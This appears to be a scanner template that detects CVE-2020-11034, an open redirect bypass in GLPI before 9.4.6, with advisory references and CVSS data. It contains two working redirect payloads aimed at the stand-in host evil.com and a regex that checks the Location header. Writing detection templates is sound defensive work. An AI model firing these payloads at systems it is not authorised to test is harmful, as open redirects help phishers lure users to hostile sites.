id: CVE-2020-11034

info:
  name: GLPI v.9.4.6 - Open redirect
  author: pikpikcu
  severity: medium
  description: In GLPI before version 9.4.6, there is a vulnerability that allows bypassing the open redirect protection, which is based on a regexp. This is fixed in version 9.4.6.
  reference:
    - https://github.com/glpi-project/glpi/security/advisories/GHSA-gxv6-xq9q-37hg
    - https://github.com/glpi-project/glpi/archive/9.4.6.zip
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11034
  tags: cve,cve2020,redirect,glpi
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2020-11034
    cwe-id: CWE-601


requests:
  - method: GET

    path:
      - '{{BaseURL}}/index.php?redirect=/\/evil.com/'
      - '{{BaseURL}}/index.php?redirect=//evil.com'

    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?evil\.com(?:\s*?)$'
        part: header